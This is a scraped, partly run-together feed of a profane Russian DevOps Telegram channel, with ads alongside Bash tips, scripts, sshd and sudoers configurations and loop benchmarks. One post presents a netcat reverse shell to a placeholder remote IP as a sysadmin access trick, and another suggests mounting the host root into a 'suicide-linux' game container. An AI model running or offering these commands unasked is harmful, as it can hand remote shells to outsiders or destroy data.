22119
Авторский канал от действующего девопса Самобытно про разработку, devops, linux, скрипты, тестирование, сисадминство, техдирство, пиэмство и за айтишную жизу. Автор: Роман Шубин Реклама: @maxgrue Курс: @tormozilla_bot РКН: https://bit.ly/knd2gov
❓Как использовать запросы и СКД в 1С без кода?
Ждем вас на открытом вебинаре 4 сентября в 19:00 мск, где мы разберем:
- Язык запросов 1С;
- Обработку консоль запросов;
- Создание отчета на СКД.
Урок подходит для IT-специалистов, переходящих в сферу 1С, сотрудников IT-отделов, которые занимаются поддержкой и сопровождением программных продуктов 1С, начинающих программистов и студентов последних курсов.
Спикер Харочкина Юлия — опытный программист 1С, специализирующийся на регламентированном учете.
Встречаемся в преддверии старта курса «Разработчик 1С. Basic». Все участники вебинара получат специальную цену на обучение!
👉 Регистрируйтесь прямо сейчас, чтобы не пропустить мероприятие: https://otus.pw/AAZt/
Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576, www.otus.ru
Всех с пятницей!
Проект Linux Factory большинству прям зашёл!
😲 На этом хорошие новости заканчиваются.
Потому что через 2 дня перестают действовать летние скидки и ценник для новеньких улетает в космос (в 2 раза).
Но ты еще можешь успеть запрыгнуть в последний вагон.
Делать ничо не надо, запускаешь бота, жмакаешь кнопочки и ты в пантеоне. Познаешь бест-практики и решаешь интересные задачки.
Короче просто напоминалка.
А кто уже в LF, не забудь продлить членство, в боте есть кнопочка — Продлить подписку.
Хороших тебе предстоящих выходных и береги себя!
Экономьте время и деньги с Selectel 🔽
Давно хотели воспользоваться услугами Selectel? Сейчас самое время, потому что у нас много выгодных предложений! Собрали для вас актуальные акции:
♦️ Аукцион выделенных серверов
Популярные конфигурации выделенных серверов становятся дешевле в реальном времени. Успейте их арендовать по выгодным ценам.
♦️ -10% на выделенный сервер на год
Зарезервируйте сервер на год и платите меньше каждый месяц.
♦️ Распродажа выделенных серверов
Арендуйте сервер прошлого поколения со скидкой до 25%.
♦️ Кешбэк 100% на PaaS-сервисы
Получите кешбэк за первый месяц использования Managed Kubernetes или облачных баз данных.
♦️ 100% кешбэк за использование объектного хранилища S3
Арендуйте объектное хранилище и получайте кешбэк до 1 000 000 ₽ в течение трех месяцев.
♦️ Миграция в объектное хранилище
Получите миграционные каникулы. Хранение и входящие запросы в объектном хранилище — бесплатно на время переезда.
♦️ Бесплатный переезд в Selectel
Оставьте заявку до 31 августа — мы проведем аудит, подберем инфраструктуру, перенесем ваши проекты, проследим за работой сервисов и компенсируем первый месяц аренды облачного сервера.
Получайте выгоду с Selectel уже сейчас!
Реклама. erid: 2VtzquuKinq АО Селектел
💻 Создаете веб-приложения? На Positive Tech Day в Санкт-Петербурге вы узнаете, как можно обеспечить их безопасность еще на ранних этапах разработки.
Встречаемся 5 сентября на AppSec Track, во время которого эксперты Positive Technologies расскажут, как повысить качество кода, сократив число уязвимостей в нем, и поделятся самыми важными темами из сферы кибербезопасности.
☁️ Какие новые возможности открываются для разработчиков на основе облачных технологий?
🖥 Какие инструменты необходимы для проверки безопасности веб-приложений?
👣 Можно ли обнаружить следы побега из контейнера?
Ответы — на Positive Tech Day. Регистрируйтесь заранее на сайте, количество мест ограничено!
Приглашаем на митап «DevOps – новый подход в разработке» от ПСБ!
🗓 31 августа в 12:00
📍 Онлайн
На митапе обсудим актуальные инструменты, тенденции и перспективы развития DevOps, особенно в условиях импортозамещения. Вы узнаете, как эффективно автоматизировать процессы и внедрять лучшие практики.
Спикеры от ПСБ:
🔸 «Serverless: новый путь в разработке» – Лев Немировский
🔸 «Перенос распределенного монолита из одной CI-системы в другую» – Петр Галонза
🔸 «Почему у нас своё железо» – Александр Татаринцев
Спикеры от партнеров ПСБ (тема будет объявлена позже) выступят с докладами, завершит мероприятие Клуб DevOps, где участники смогут обсудить актуальные вопросы и проблемы.
Зарегистрироваться: https://cnrlink.com/psbmeetupbashd
Реклама. ПАО "Промсвязьбанк". ИНН 7744000912. erid: LjN8KKkk5
Горизонт
Выходные заебись, никто не срёт в голову, все копят таски до понедельника и отдыхают... Потому что работая в найме ты видишь горизонт (пятницу), а дальше ебутся блохи в суматохе!
ㅤ
Но стоит тебе выйти из найма и начать своё дело, выходные дни странным образом «смещаются», ну как смещаются, ты уже не видишь горизонта событий до которого тебе нужно дойти, ты видишь какой-то кусок земли и лопату в руках.
А дальше ты либо копаешь, чтобы найти свой кусок золота и прокормить своё поселение, либо прокрастинируешь (маешься хуйнёй) и просираешь всё под забором.
Всегда было интересно когда учителя в школе говорили — ты закончишь под забором. Ты будешь продавать пирожки на базаре. Под каким блядь нахуй забором? Где ХУЙ написан? А пирожки я люблю, особенно на базаре! WTF???
Эт я к чему, если решил копать — не бросай, даже если каждый первый тебе говорит — что ты дурной пизды ребёнок…
Всё у тебя получится, просто копай дальше и не останавливайся! Получится! Равновесие мира. Балансировка нагрузки.
А кто дохуя пиздит и сеет в тебе сомнения, пусть идут — нахуй!
tags: #рабочиебудни
—
🔔 @bashdays
В новом выпуске подкаста ребята из Сравни подробно обсудили, кто такой DevOps в 2024 году. С Кириллом Карелиным, лидом DevOps-команды, рассмотрели разные аспекты темы: от типовых задач, скиллов и инструментов девопса до глобального значения этой роли в процессах разработки.
Кирилл рассказал о специфике модели «инфраструктура как код», объяснил, в чем российские облачные провайдеры отстают от западных коллег и почему потребность компаний в железных серверах не теряет актуальности. А еще поделился советами по развитию в профессии и полезной литературой.
Посмотреть или послушать подкаст можно здесь:
✅YouTube
✅RUTUBE
✅Яндекс Музыка
Реклама. ООО «Сравни.ру» ИНН: 7710718303, erid: 2VtzqvZH43w
🔥 Используешь Nginx? Тогда узнай об Angie и его возможностях для своих проектов!
👨🚀Спикер Николай Лавлинский - опытный разработчик, руководитель, преподаватель и автор каналов «Ускорение сайтов» и «Поддержка сайтов». Расскажет, основные отличия Angie — форка Nginx, чем он может быть интересен и как быстро перевести проект на этот продукт.
Открытый урок нужен как воздух для администраторов Linux, веб-разработчиков и всех, кто использует Nginx в проектах.
👉 Приходи 29 августа в 19:00 : https://clck.ru/3Cjfzz
Пройдя курс Администрирование Nginx/Angie, вы сможете:
1️⃣ Настраивать Angie и Nginx как фронт веб-серверы для любых приложений.
2️⃣ Оптимизировать серверную и клиентскую производительность.
3️⃣ Конфигурировать балансировщики нагрузки L4 (TCP, UDP) и L7 (HTTP/HTTPS).
4️⃣Управлять логированием и оптимизировать HTTPS-соединения.
5️⃣Работать с модулями вещания для видео-сервисов.
И многое другое: https://clck.ru/3CjfzzРеклама. ООО «Отус онлайн-образование», ОГРН 1177746618576, www.otus.ru, erid: 2VtzqvmAx8V
Превратить себя в сервис, заставить разработчиков думать одинаково, и откатывать миграции БД
Изучаем навыки DevOps в большой компании на новом митапе от РСХБ.цифра при поддержке JUG Ru Group.
📍Онлайн и офлайн в Москве
📆 29 августа в 18:00 (МСК, GMT+3)
В программе:
✔ Василий Куценко (Почтатех) — «Секреты успешного DevOps as a Service: Опыт и рекомендации»
✔ Константин Белкин (РСХБ.цифра) — «Как внедрить CI/CD для всех разработчиков в банке. CI/CD by App.Farm»
✔ Алексей Романов (IT Enduro) — «Деплой и откат приложения и миграций БД»
🎁 Участников ждут подарки. Организаторы подготовили призы за лучшие вопросы спикерам и розыгрыш мерча среди тех, кто оставит отзыв после митапа.
Для участия нужно зарегистрироваться.
❗️Количество мест в офлайне ограничено.
Реклама. Фонд «Сколково». ИНН 7701058410
Какие перспективы у квантовых компьютеров?
Часто слышим, что вскоре квантовые компьютеры смогут взломать RSA-шифрование. Многие уже пробовали писать код на Qiskit и ждут запуска на реальном оборудовании.
Сегодня квантовые компьютеры решают задачи вроде факторизации чисел, моделирования молекул и оптимизации. Но примеры «квантового преимущества» пока далеки от реальных кейсов. Хотя число кубитов стабильно растет.
Будет ли квантовый компьютер полезен бизнесу в ближайшее время? На ИТ-пикнике об этом говорил спикер облачного провайдера Cloud․ru. Вот ключевые советы от Михаила Ремнева, аналитика-исследователя из R&D-команды Cloud․ru:
😶🌫️Фокусироваться на прикладных задачах, а не на кубитах;
😶🌫️Сравнивать с традиционными методами;
😶🌫️Следить за новостями и мнениями экспертов;
➡️Подписывайтесь на Cloud․ru Tech, чтобы быть в курсе трендов в облаках и AI.
Erid 2VfnxvbKy4c
Здрасти здрасти хуймордасти, оказывается есть люди, которые не знают как залетать в mysql без пароля.
Попался вчера свежий Bash скрипт от персонажа комиксов, который явно указывает пароль от mysql. Заебись Bash скрипт с паролями от рутового мускла. Так делать не нужно.
ㅤ
А нужно всего лишь создать файл в домашнем каталоге пользователя и обозвать его /home/user/.my.cnf.
Содержимое файла .my.cnf
[client]
user=user
password=passwd
database=db
--defaults-file==filename
Обычно этот хак используют на рутах, чтобы рут не ебался и залетал с первым же лучиком солнца.
🛢 В мире, где данные — новая нефть, растёт спрос на дата-инженеров. Ведь именно они знают, как такую нефть добывать, обрабатывать и хранить. И пока компании осознают потребность в этих специалистах, конкуренция на рынке низкая, а зарплаты — высокие.
Освоить ключевые компетенции дата-инженера поможет онлайн-магистратура Нетологии и НИУ ВШЭ «Инженерия данных». За 2 года вы на практике изучите Python, Java, Scala, Kotlin и SQL, научитесь проектировать пайплайны и обрабатывать данные, работать с системами хранения данных и базами данных в облаке. Программа даёт широкий простор для переквалификации, поэтому после учёбы сможете перейти в MLOps, DevOps или менеджмент.
Онлайн-формат позволяет учиться без отрыва от привычной жизни и совмещать занятия с работой. При этом у вас будет отсрочка от армии, льготы на проезд и все остальные бонусы очного обучения.
Станьте магистром программной инженерии с дипломом одного из лучших вузов страны и получите веское преимущество при приёме на работу: ссылка
Реклама. ООО "Нетология". ИНН 7726464125 Erid:LjN8KUqtM
Добрый день господа и дамы. Сейчас накидаю тебе интересную темку, которую частенько используют пентестеры в своей работе.
Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.
ㅤ
Многие знают Linux утилиту nc = netcat, вот с помощью нее можно подключаться к серверам у которых нет прямого айпи адреса, а есть только внутренний, либо все за NAT лежит.
Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.
У меня есть сервер в закрытом периметре без внешнего айпи адреса.
Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.
Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит netcat.
Просим инженера из мухосранска запустить у себя:
root@fuck:/ nc -lvnp 2288
Listening on 0.0.0.0 2288/bin/bash -i > /dev/tcp/айпи мухосранска/2288 0<&1 2>&1
0<&1 2>&1 описывать не буду, ебаные премудрости, сто раз уже мусолили в постах. Если интересно, спроси у GPT.nc -lvnp 2288, произойдет такое:Listening on 0.0.0.0 2288
Connection received on 147.45.73.123 50740
root@stage1:~#
root@fuck на root@stage1 и он получит доступ к нашему закрытому серверу без белого айпишника. Ну охуенно же!Для всего происходящего могут понадобиться рут права, поэтому сразу делаем на это погрешность.
Все мы прекрасно знаем, что для переключения пользователя есть su и sudo. Но не все знают про команду runuser.
ㅤ
Эта команда используется в скриптах, системных процессах, крон тасках и в контексте служб которые запускаются с привилегиями рута. А самое главное не требует ввода пароля.
Пример:
runuser -u roman -- id
help, чтобы жонглировать ключами. Там тебе и проброс шелла, сохранение/очистка переменных, псевдотерминалы и т.п.runuser чем везде пихать su.su от sudo (+ это двойное тире) я писал в этом посте.
Да, 3.14здострадальные посты заходят намного эффективнее, видимо больную тему затронул 😏
Ладно, тут пост еще интересный от Tagd Tagd завалялся, внимание на 1С не обращаем, важен сам концепт. Поехали!
БЕЗДУМНАЯ НАСТРОЙКА SSH по SSH МОЖЕТ ПРИВЕСТИ К ПОТЕРЕ КОНТРОЛЯ НАД СЕРВЕРОМ
ㅤ
Сегодня мы рассмотрим как переложить свою работу на чужие плечи, но чтобы ничего не сломалось. Я админю сервера с 1с. И очень часто разработчики просят перезагрузить какой-нибудь сервис или сервер.
Вместо web-админок предлагаю использовать ssh-админки. Я им больше доверяю.
sudo vim /usr/local/bin/servcontrol
#!/bin/bash
trap '' SIGINT SIGTERM SIGHUP DEBUG
declare -i MULTICOLUMN=0
declare -ir CMD_COL=3 #command column
declare -ir DLY_COL=4 #delay column
declare -ir NOCONFIRM_COL=5
declare -i COLS=$(echo "cols"|tput -S)
declare -i NUM=0
declare -u ANS
function ini(){ echo '
# (autonum_1) : name_2 : command_3 : delay_sec_4 : [NO_confirm_5]
Exit menu :exit:0:y
restart_postgres:systemctl postgresql restart:60
restart_1c_1541 :systemctl srv1cv83 restart:60
restart_1c_2541 :systemctl srv1cv83_2 restart:60
REBOOT__SERVER :reboot:10
'|awk '!/^#/ && NF {print ++i ":" $0}'
}
function get_ini_col(){ ini|awk -F: -vn=$1 -vc=$2 '$1==n{print $c;exit}';}
function prn_sleep(){
declare -i I=$1
while [[ $I -gt 0 ]];do
echo -ne "$I\033[0K\r"
sleep .99
I=$I-1
done
}
[[ $MULTICOLUMN -eq 0 ]] && CMDE='cat' || CMDE='column -x -c$COLS'
declare -i MAX=$(ini |awk -F: '{m=$1}END{print m}')
while :;do
clear
ini|awk -F: '{print $1,$2,"delay",$4 }'|eval $CMDE
read -p "select item number = "
#protection
NUM=$(echo $REPLY|sed 's/[^0-9]//g')
if [[ $NUM -le 0 ]] || [[ $NUM -gt $MAX ]];then
continue
fi
CMD=$(get_ini_col $NUM $CMD_COL)
DLY=$(get_ini_col $NUM $DLY_COL)
clear
echo delay "$DLY"
echo "$CMD"
#confirmation
if [[ -n $(get_ini_col $NUM $NOCONFIRM_COL) ]];then
ANS="YES"
else
read -p "Type YES to confirm operation " ANS
fi
if [[ "$ANS" == "YES" ]];then
clear
echo "$CMD"
prn_sleep $DLY
$CMD
exit
else
echo "Operation caneled"
sleep 1
fi
done
#--
postgres, сервисы 1с на первом или втором комплекте портов или ребутнуть весь сервак. Разбор скрипта делать не буду, если кому-нибудь будет интересно - напишу разбор отдельной статьей.sudo chmod 755 /usr/local/bin/servcontrol
в файле /etc/ssh/sshd_config
Match User bashdays_tagd
MaxAuthTries 3
MaxSessions 1
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding no
ForceCommand sudo /usr/local/bin/servcontrol
#--
sudo service sshd restart
root, либо разрешить выполнение скрипта под sudo без пароля для этого пользователя/группы./etc/sudoers.bashdays_tagd с привилегиями root. Следовательно, все команды в скрипте будут работать.sudo vim /etc/sudoers
bashdays_tagd ALL=(ALL) NOPASSWD: /usr/local/bin/servcontrol
ssh bashdays_tagd@host.namesshd_config или sudoers.
Ну вот и отгуляли лето, впереди новый учебный год, подъемы в 6 утра и ожидание выходных. Но есть и плюсы, хотя…
Ладно, сегодня я тебе принес WatchYourLAN.
Эта хуёвина представляет собой лёгкий сетевой сканер с веб-мордой.
ㅤ
На днях выкатили вторую версию.
Основные фишки:
- Если в твоей сети появился пидор, она тебе сообщит
- Отправляет данные в графану через InfluxDB2
Ради прикола взгромоздил я на малинку WatchYourLAN. Завязал на графану и alertmanager и теперь получаю в телегу алерты, если в сети зарегистрировалось новое устройство.
Охуенно! Чем бы дитя не тешилось.
Запускается прям с докера одной командой:
docker run --name wyl \
-e "IFACES=$YOURIFACE" \
-e "TZ=$YOURTIMEZONE" \
--network="host" \
-v $DOCKERDATAPATH/wyl:/data/WatchYourLAN \
aceberg/watchyourlan:v2
< IP >:8844
Сегодня разберем, чем отличаются различные циклы при работе с файлами.
#!/bin/bash
seq 1 5 >file.txt
for i in $(<file.txt);do
echo $i
read -p 'press ENTER'
done
echo ---
while read i;do
echo $i
read -p 'press ENTER'
done <file.txt
rm file.txt
#--
loop3.shchmod +x loop3.sh
seq 1 5 > file.txt
for: читаем файл, и выводим построчно. После каждой строки жмем ENTER для продолжения.while - тело цикла - один в один. ./loop3.sh1
press ENTER
2
press ENTER
3
press ENTER
4
press ENTER
5
press ENTER
---
1
3
5
for in сначала вычисляет/считывает все значения для перебора в память, потом начинает с ними работать.while(until) читает последовательно, по одному значению. Мало того в данном случае цикл работает НЕ С ФАЙЛОМ НАПРЯМУЮ, а с stdin, (куда мы перенаправляем файл) поэтому любое чтение stdin приводит к чтению записи файла. Результат вы видели.
- Ты такой душный...
- Не могли бы вы поподробнее разъяснить мне, в чём конкретно это выражается?
FOR0 и GAWK число итераций прописаны константами.MAX. Меняйте синхронно. Выводы будут в конце. Рекомендую рассмотреть код.#!/bin/bash
declare -i MAX=5000000
declare -i MA1=MAX+1
declare -i Z0=0
declare -i Z1=1
declare -i P
declare LOG=./log.txt
declare LOOPNAME
clear
LOOPNAME=FOR0
P=0
SECONDS=0
for i in {1..5000000};do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=FOR1
P=0
SECONDS=0
for i in $(seq $Z1 $MAX);do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=FOR2
P=0
SECONDS=0
seq $Z1 $MAX|for i in $(</dev/stdin);do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=FOR3
P=0
SECONDS=0
for ((i=$Z0;i++<$MAX;));do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=FOR4
P=0
SECONDS=0
for ((i=$MAX;i--!=0;));do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=FOR5
P=0
SECONDS=0
for ((i=$Z1;i<$MA1;i++));do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=WHL0
P=0
i=$Z0
SECONDS=0
while ((i++<$MAX));do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=WHL1
P=0
i=$MAX
SECONDS=0
while ((i--));do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
gawk 'BEGIN{p=0
for(i = 1;i < 5000000;i++){
if(p==0)
print "GAWK 0";p++}
}'
gawk 'BEGIN{t=systime();p=0
for(i = 1;i < 5000000;i++){
if(p==0){
print "GAWK " systime()-t;p++}
}
print "GAWK "systime()-t}'
FOR0 14
FOR0 76
FOR1 11
FOR1 72
FOR2 10
FOR2 53
FOR3 0
FOR3 97
FOR5 0
FOR5 103
WHL0 0
WHL0 100
WHL1 0
WHL1 78
gawk не совсем bash, но привел для примера.GAWK 0
GAWK 2 (тут реально 1.6) но баш оперирует целыми.
FOR2 for in (seq)FOR5 (сишный классический)for in - ВНАЧАЛЕ получают полный список значений (в памяти) потом быстро его перебирают.awk (а gawk самый медленный awk) значительно быстрее bash. Если скорость в приоритете - используйте его.FOR0 вообще нежелательно применять, постокольку пределы цикла и инкремент нельзя задать переменными. только константы. Но сам конструкт {1..5} применять можно и даже нужно в подстановках (но не циклах). Например: ls text{9..27}.txt.
Практика, которая увеличит твою пенсию в 3 раза!
Есть такая практика «Помодоро», в общем это когда ты 25 минут усердно работаешь, потом 5 минут отдыхаешь и так по кругу.
ㅤ
Практика так сказать — ХУЙНЯ ПОЛНАЯ. Но если критикуешь, предлагай!
Оказывается давным-давно я случайно изобрел свою практику, которую в шутку назвал «Тюленинг».
Суть этой практики полная противоположность «Помодоро». То есть ты работаешь 5 минут и 30 минут отдыхаешь, повторяешь до бесконечности.
В чем плюсы «Тюленинга»?
Главная киллер фича — спустя пару часов нихуя не делания тебе становится скучно и возникает желание поработать. Это желание обычно появляется внезапно. Либо не появляется, тогда практикуешь «тюленинг» дальше.
И как только появилось желание, беги за комп и пили таски. Твой KPI будет прокачен на 100500%, мозг раскочегарен на азарте и в жопе будет приятный зуд.
Двухнедельный спринт закроешь буквально за полчаса. Без хуйни!
Думаешь это прикол такой? Неа! Сегодня лично провел эксперимент, практика работает — идеально!
В общей сложности я провалялся часов 8 + 30 минут ушло на работу + три раза пообедал. Завтра обязательно повторю!
Попробуй, тебе понравится!
#рабочиебудни
—
🔔 @bashdays➡️ @gitgate
Ха! Не ждали? Ща будет кринж, но кринж просветит тех, кто глубоко копается в жопах линукса. Ну а если решил провести выходной на изи, оно нахуй тебе не всралось. Короче...
ㅤ
У кодировки ASCII есть особенность:
a -> 01*1*00001 A -> 01*0*00001
b -> 01*1*00010 B -> 01*0*00010
c -> 01*1*00011 C -> 01*0*00011
d -> 01*1*00100 D -> 01*0*00100
e -> 01*1*00101 E -> 01*0*00101
f -> 01*1*00110 F -> 01*0*00110
g -> 01*1*00111 G -> 01*0*00111
h -> 01*1*01000 H -> 01*0*01000
i -> 01*1*01001 I -> 01*0*01001
j -> 01*1*01010 J -> 01*0*01010
k -> 01*1*01011 K -> 01*0*01011
l -> 01*1*01100 L -> 01*0*01100
m -> 01*1*01101 M -> 01*0*01101
n -> 01*1*01110 N -> 01*0*01110
o -> 01*1*01111 O -> 01*0*01111
p -> 01*1*10000 P -> 01*0*10000
q -> 01*1*10001 Q -> 01*0*10001
r -> 01*1*10010 R -> 01*0*10010
s -> 01*1*10011 S -> 01*0*10011
t -> 01*1*10100 T -> 01*0*10100
u -> 01*1*10101 U -> 01*0*10101
v -> 01*1*10110 V -> 01*0*10110
w -> 01*1*10111 W -> 01*0*10111
x -> 01*1*11000 X -> 01*0*11000
y -> 01*1*11001 Y -> 01*0*11001
z -> 01*1*11010 Z -> 01*0*11010
Звёздочками я выделил эту хуйню, чтобы тебе все прозрачно было.
printf '%b %b\n' $( printf '\\%03o \\%03o' 65 $((65 ^ 32)) )
printf '%b %b\n' $( printf '\\%03o \\%03o' 97 $((97 ^ 32)) )
printf '%s\n' $((65 ^ 32))
printf '%s\n' $((97 ^ 32))
man ascii( a='abc'; echo "${a^}" )
( a='ABC'; echo "${a,}" )
( a='abc'; echo "${a^^}" )
( a='ABC'; echo "${a,,}" )
Как собрать все логи в один.
Иногда возникает задача найти что-то в логах ручками, без установки анализаторов логов.
ㅤ
Логов может быть много, некоторые сжатые - некоторые нет. Для работы со сжатыми файлами есть утилиты, начинающиеся на z. zcat, zgrep, zdiff... ls -/bin/z* в помощь.
Для сборки логов в один я написал простой скрипт. Он выдает в stdout все логи, в порядке создания, сжатые разжимаются.
#!/bin/bash
test -z "$1" && echo "need log file" && exit
declare EXT=gz
for CUR_LOG in $(ls -tr "$1"*);do
PREFIX=z
if [[ "${CUR_LOG##*.}" != "$EXT" ]];then
PREFIX=
fi
${PREFIX}cat ${CUR_LOG}
done
sumlog.sh делаем файл исполняемым:chmod +x sumlog.sh
sudo ./sumlog.sh /var/log/apache2/access.log
declare EXT=gz - сжатый файл.ls -tr "$1"* спиcок файлов, отсортированный по времени (-t), в порядке убывания (-r)sudo ./sumlog.sh /var/log/apache2/access.log|grep ...
sudo ./sumlog.sh /var/log/apache2/access.log|awk ...
sudo ./sumlog.sh /var/log/apache2/access.log|sed ...
У меня еще осталась пара тем по ssh, но пока отдохните, наберитесь сил... Я тут решил протестировать циклы for и поделиться результатами.
ㅤ
for ((i = 0 ; i < 100 ; i++)); do
echo $i
done
for i in {1..3}; do
echo $i
done
# или его расширенная версия с шагом
for i in {50..5..-5}; do
echo $i
donefor i in $(seq 1 10); do
echo $i
done
$(seq -w 1 10). IFS=$'\n'
for i in $(cat /etc/passwd); do
echo $i
done
IFS.for i in "./space test/"*; do
echo $i
done
for i in 5 9 8 3;do
echo $i
done
echo 1 2 3|for i in $(</dev/stdin);do
echo $i
done
IFS=" "for ((a=0,b=9;a<10;a++,b--));do
echo $a,$b
done
for ((a=1;a<2000;a+=a));do
echo $a
done
for i in $(j=10;while ((j--));do echo $j;done);do
echo $i
done
Любишь линукс? А готов ли ты сыграть в опасную игру?
У тебя будет всего лишь одна попытка и как только ты ошибешься, придется знатно поебаться.
ㅤ
Поэтому прежде чем что-то сделать в консоли — подумай, а правильно ли ты ввел команду и готов ли ты поставить на карту всё самое дорогое?
Если готов всё потерять, запускай:
docker run --rm -it -v /:/host tiagoad/suicide-linux
Я проиграл спустя пару секунд и по настоящему проебал всё! Но испытал непередаваемое чувство радости и свободы. Вот и повод пересесть на 24.04. Вообще забавно получилось!
А давай потрясём cиськами с помощью Bash!
Я думаю этот пост должен здесь быть, а постарался наш внештатный корреспондент Tadg Tadg. Погнали 👇
ㅤ
Сегодня разберем потрясный скрипт. Не в том смысле, что классный.
Просто он трясет сисками при выполнении длительных операций (копирование, загрузка, синхронизация).
Я когда-то видел что-то подобное, но найти не смог и пришлось писать свой. Вообще-то я против «красотулек», но кому-то нравится...
Сохраняем его в файл tits.sh и проверяем:
chmod +x tits.sh
# демо:
./tits.sh
# тест:
./tits.sh 7z b
#!/bin/bash
declare -r LOG=$(mktemp)
declare -r BS='\b\b\b\b\b\b\b'
declare -r SPC=' '
trap 'echo
tput cnorm
test -f "$LOG" && cat "$LOG" && rm "$LOG"
exit ' INT TERM HUP QUIT EXIT ERR
tput civis
CMD="$@"
test -z "$CMD" && CMD='sleep 10'
function TITS(){
declare N P T=${1:-21}
case "${T:0:1}" in
1) N='(.)';;
2) N='(o)';;
*) N='(*)';;
esac
case "${T:1:1}" in
1) P=${N}${N}' ';;
2) P=${N}' '${N};;
*) P=' '${N}${N};;
esac
echo -n "$P"
}
$CMD > "$LOG" 2>&1 &
PID=$!
echo -n "$SPC"
while :;do
for i in 21 12 23 33 23 12 21 31;do
echo -en $BS
TITS $i
ps -q "$PID" > /dev/null 2>&1 || exit
sleep .3
done
done
#--
LOG=$(mktemp) - создать лог в темповом каталогеBS='\b\b\b\b\b\b\b' - забои для перемещения в начало строки (число равно размеру сисек в символах)SPC=' ' - пробелы, для очиски сисек (число то же)trap INT TERM HUP QUIT EXIT ERR - Перехват сигналов, (последние два - башизм)echo - перевод строки после сисекtput cnorm - включение курсораtest -t "$LOG && "cat "$LOG" && rm "$LOG" - вывод на экран лога и его удаление (при наличии).tput civis - гашение курсораtest -z "$CMD" && CMD='sleep 10' - если параметры скрипта не заданы - запускаем паузу 10 секfunction TITS() - входной параметр двузначное число, где десятки - форма соска, единицы - положениеdeclare N P T=${1:-21} - описываем локальные переменные. Если входной параметр не задан, используется 21case "${T:0:1}" ... esac - задаем форму соскаcase "${T:1:1}" ... esac - задаем положениеecho -n "$P" - выводим сиськи, без перевода строки.$P. Если переменная P содержит пробелы в начале и конце - они отбрасываются!"$P"$CMD > "$LOG" 2>&1 & - запуск команды фоном, с выводом stdout и err в логPID=$! - запомнили PID запущенного процессаecho -n "$SPC" - перед печатью сисек старые очищаются, чтобы было что очищать - печатаем пробелы.while :;do - бесконечный циклfor i in 21 12 23 33 23 12 21 31 - анимацияecho -en $BS - очищаем старый вывод (используем ESC-символы, без перевода строки)TITS $i - печатаем сиськиps -q "$PID" > /dev/null 2>&1 || exit - проверяем не закончился ли фоновый процессsleep .3 - пауза 0.3 секундыman tput mktemp signal ps
help trap declare
https://cheatsheets.zip/bash
На пути к умноватому дому напишем простой ip watchdog на баш. Будем мониторить наличие интернета и перезапускать роутер, если он "завис". ㅤ
#!/bin/bash
declare -i COUNTER=0
declare -r P=1m # задержка между пингами или циклами
function EXECUTE(){ echo $COUNTER Need execute ; }
while :;do
COUNTER+=1
for LNK in "ya.ru" "youtube.ru" "list.ru" "vk.com" "8.8.8.8" \
"2ns.info" "aliexpress.com" "yandex.ru" "77.88.8.8" "ozon.ru" \
"8.8.4.4" "gmail.com" "mail.ru" "ok.ru" "youtube.com";do
ping -c1 -w2 $LNK > /dev/null 2>&1
if [[ $? -eq 0 ]];then
COUNTER=0
sleep $P
fi
done
case $COUNTER in
0) continue;;
2|5|10|15|20|40|60|90|120|180|300) EXECUTE;;
600) COUNTER=300; EXECUTE;;
esac
sleep $P
done
#--
COUNTER - счетчик циклов присутствия проблемы.P=1m - задержка в цикле 1 минутаfunction EXECUTE() - функция, в которой прописываем действия для устранения проблемы.for LNK in ... done в цикле пингуем адреса, и если хотя бы один ответ получили, сбрасываем счетчик проблем в 0 и выдерживаем паузу. Если ответ на ping не получили без задержек переходим к следующему адресу.ping -c1 - один пакет -w2 - время ожидания 2 секcase $COUNTER in ... esac самый удобный оператор для множественных условий.($COUNTER=0) сразу возвращаемся к пингам. Если проблема есть попробуем ее решить (перезагрузить роутер, например).600) COUNTER=300...;; - далее попытки проводятся через 300 циклов. Вообще-то строку "600) COUNTER=300; EXECUTE;;" можно было бы заменить на "599) COUNTER=299;;" с сохранением логики работы. Но оставил более понятный вариант.declare -r HEX_CODE_OFF='\xA0\x01\x01\xA2'
declare -r HEX_CODE_ON='\xA0\x01\x00\xA1'
#use ls /dev/ttyUSB* ###############################
declare -r USB_DEV=/dev/ttyUSB0
echo -n -e $HEX_CODE_OFF > $USB_DEV
sleep 30
echo -n -e $HEX_CODE_ON > $USB_DEV
PS от Ромы — НО будьте аккуратны, чтобы ёбом не токнуло!
Сегодня мы рассмотрим второй способ, как запилить SOCKS через ssh.
Напишем свой крутой шелл с анимацией и ограничениями для пользователей.
ㅤ
Как-то видел анимацию сисек при долгом копировании, но сейчас не нашел. Может кто подскажет... Варианты анимации здесь.
sudo vim /usr/local/bin/socksshell
#!/bin/bash
trap 'echo -e "\\nWaiting session end...";exit' SIGINT SIGTERM SIGHUP SIGQUIT
printf "VPN on. Press CTRL-C for BREAK "
while :;do
for i in '> ' '>>' ' <' '<<';do
printf "\b\b$i"
sleep 3
done
done
sudo chmod 755 /usr/local/bin/socksshell
/etc/ssh/sshd_configMatch User bashdays_tagd
MaxAuthTries 3
MaxSessions 10
